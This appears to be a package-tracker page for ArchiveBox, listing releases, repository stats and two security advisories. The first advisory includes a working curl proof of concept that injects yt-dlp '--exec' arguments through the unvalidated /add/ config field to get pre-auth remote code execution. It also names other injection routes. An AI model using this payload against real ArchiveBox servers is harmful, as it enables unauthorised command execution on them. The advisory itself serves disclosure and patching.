archivebox

🗃 Open source self-hosted web archiving. Takes URLs/browser history/bookmarks/Pocket/Pinboard/etc., saves HTML, JS, PDFs, media, and more...

View on Pypi

View on Github

Activity

Latest release: 2h ago
Total releases: 724
Cadence: ~daily
Last 12 months: 648

Reach

Stars: 28.9k

Details

License: MIT
First release: Jul 28, 2020

Releases

Version	Released
`0.9.78rc30` pre	Oct 29, 2026
`0.9.78rc29` pre	Oct 29, 2026
`0.9.78rc28` pre	Oct 29, 2026
`0.9.78rc27` pre	Oct 29, 2026
`0.9.78rc26` pre	Oct 29, 2026
`0.9.78rc25` pre	Oct 29, 2026
`0.9.78rc24` pre	Oct 29, 2026
`0.9.78rc23` pre	Oct 29, 2026
`0.9.78rc22` pre	Oct 29, 2026
`0.9.78rc21` pre	Oct 28, 2026
`0.9.78rc19` pre	Oct 28, 2026
`0.9.78rc17` pre	Oct 28, 2026
`0.9.78rc16` pre	Oct 28, 2026
`0.9.78rc14` pre	Oct 28, 2026
`0.9.78rc10` pre	Oct 28, 2026
`0.9.78rc7` pre	Oct 28, 2026
`0.9.78rc1` pre	Oct 28, 2026
`0.9.77` patch	Oct 27, 2026
`0.9.77rc4` pre	Oct 27, 2026
`0.9.77rc3` pre	Oct 27, 2026
`0.9.76` patch	Oct 27, 2026
`0.9.74rc415` pre	Oct 27, 2026
`0.9.74rc411` pre	Oct 27, 2026
`0.9.74rc410` pre	Oct 27, 2026
`0.9.74rc408` pre	Oct 27, 2026
`0.9.74rc406` pre	Oct 27, 2026
`0.9.74rc391` pre	Oct 26, 2026
`0.9.74rc374` pre	Oct 25, 2026
`0.9.74rc369` pre	Oct 23, 2026
`0.9.74rc362` pre	Oct 23, 2026
`0.9.74rc351` pre	Oct 23, 2026
`0.9.74rc350` pre	Oct 23, 2026
`0.9.74rc348` pre	Oct 23, 2026
`0.9.74rc338` pre	Oct 20, 2026
`0.9.74rc336` pre	Oct 20, 2026
`0.9.74rc335` pre	Oct 20, 2026
`0.9.74rc329` pre	Oct 20, 2026
`0.9.74rc321` pre	Oct 20, 2026
`0.9.74rc320` pre	Oct 20, 2026
`0.9.74rc317` pre	Oct 20, 2026
`0.9.74rc311` pre	Oct 18, 2026
`0.9.74rc308` pre	Oct 18, 2026
`0.9.74rc299` pre	Oct 18, 2026
`0.9.74rc298` pre	Oct 18, 2026
`0.9.74rc287` pre	Oct 18, 2026
`0.9.74rc286` pre	Oct 18, 2026
`0.9.74rc278` pre	Oct 16, 2026
`0.9.74rc275` pre	Oct 16, 2026
`0.9.74rc271` pre	Oct 16, 2026
`0.9.74rc270` pre	Oct 16, 2026

1–50 of 724

Repository

archivebox/archivebox

Forks: 1.6k
Open issues: 158
Language: Python

pocket
wget
browser-bookmarks
pinboard
chromium
firefox

Dependencies (48)

Depends on

0.9.78rc30

Used by

Supply-chain exposure

2 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Known CVEs (2)

CVE-2026-42601 PYSEC-2026-283 GHSA-3h23-7824-pj8r Jun 29, 2026

ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView

Critical
Network Low None None

The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.

When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.

Affected code:

core/views.py:887 - user config extracted with no validation:

custom_config = form.cleaned_data.get("config") or {}

core/views.py:918 - merged into crawl config:

config.update(custom_config)

config/configset.py:255-256 - crawl config applied with high priority:

if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)

hooks.py:398-411 - config exported as env vars:

for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)

plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:

ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)

PoC (pre-auth when PUBLIC_ADD_VIEW=True):

curl -X POST http://localhost:8000/add/ \ -d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \ -d "depth=0" \ -d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}"

After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.

Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.

Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.

Affected versions

0.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.200.4.210.4.6

+ 64 more Show less

0.4.80.4.90.5.00.5.10.5.20.5.30.5.40.6.00.6.10.6.20.7.00.7.10.7.20.7.40.8.5rc00.8.5rc10.8.5rc100.8.5rc110.8.5rc120.8.5rc130.8.5rc140.8.5rc150.8.5rc160.8.5rc170.8.5rc180.8.5rc20.8.5rc200.8.5rc210.8.5rc220.8.5rc230.8.5rc240.8.5rc250.8.5rc260.8.5rc270.8.5rc280.8.5rc290.8.5rc30.8.5rc300.8.5rc310.8.5rc320.8.5rc330.8.5rc340.8.5rc350.8.5rc360.8.5rc370.8.5rc380.8.5rc390.8.5rc40.8.5rc400.8.5rc410.8.5rc420.8.5rc430.8.5rc440.8.5rc450.8.5rc460.8.5rc470.8.5rc480.8.5rc490.8.5rc50.8.5rc500.8.5rc510.8.5rc60.8.5rc80.8.5rc9

References

https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
https://nvd.nist.gov/vuln/detail/CVE-2026-42601
https://github.com/ArchiveBox/ArchiveBox
https://pypi.org/project/archivebox
https://github.com/advisories/GHSA-3h23-7824-pj8r

Updated Jul 01, 2026 · Source: OSV.dev
CVE-2023-45815 PYSEC-2023-229 GHSA-cr45-98w9-gwqx Oct 19, 2023

5.4 / 10
Medium
Network Low Low Required Changed Low Low None

ArchiveBox is an open source self-hosted web archiving system. Any users who are using the wget extractor and view the content it outputs. The impact is potentially severe if you are logged in to the ArchiveBox admin site in the same browser session and view an archived malicious page designed to target your ArchiveBox instance. Malicious Javascript could potentially act using your logged-in admin credentials and add/remove/modify snapshots, add/remove/modify ArchiveBox users, and generally do anything an admin user could do. The impact is less severe for non-logged-in users, as malicious Javascript cannot modify any archives, but it can still read all the other archived content by fetching the snapshot index and iterating through it. Because all of ArchiveBox's archived content is served from the same host and port as the admin panel, when archived pages are viewed the JS executes in the same context as all the other archived pages (and the admin panel), defeating most of the browser's usual CORS/CSRF security protections and leading to this issue. A patch is being developed in https://github.com/ArchiveBox/ArchiveBox/issues/239. As a mitigation for this issue would be to disable the wget extractor by setting archivebox config --set SAVE_WGET=False, ensure you are always logged out, or serve only a static HTML version of your archive.

Affected versions

0.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.200.4.210.4.6

+ 10 more Show less

0.4.80.4.90.5.00.5.10.5.20.5.30.5.40.6.00.6.10.6.2

Fixed in

0.7.0

References

https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-cr45-98w9-gwqx
https://github.com/ArchiveBox/ArchiveBox/issues/239

Updated Nov 08, 2023 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

minor 4
patch 30
pre 689

724 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More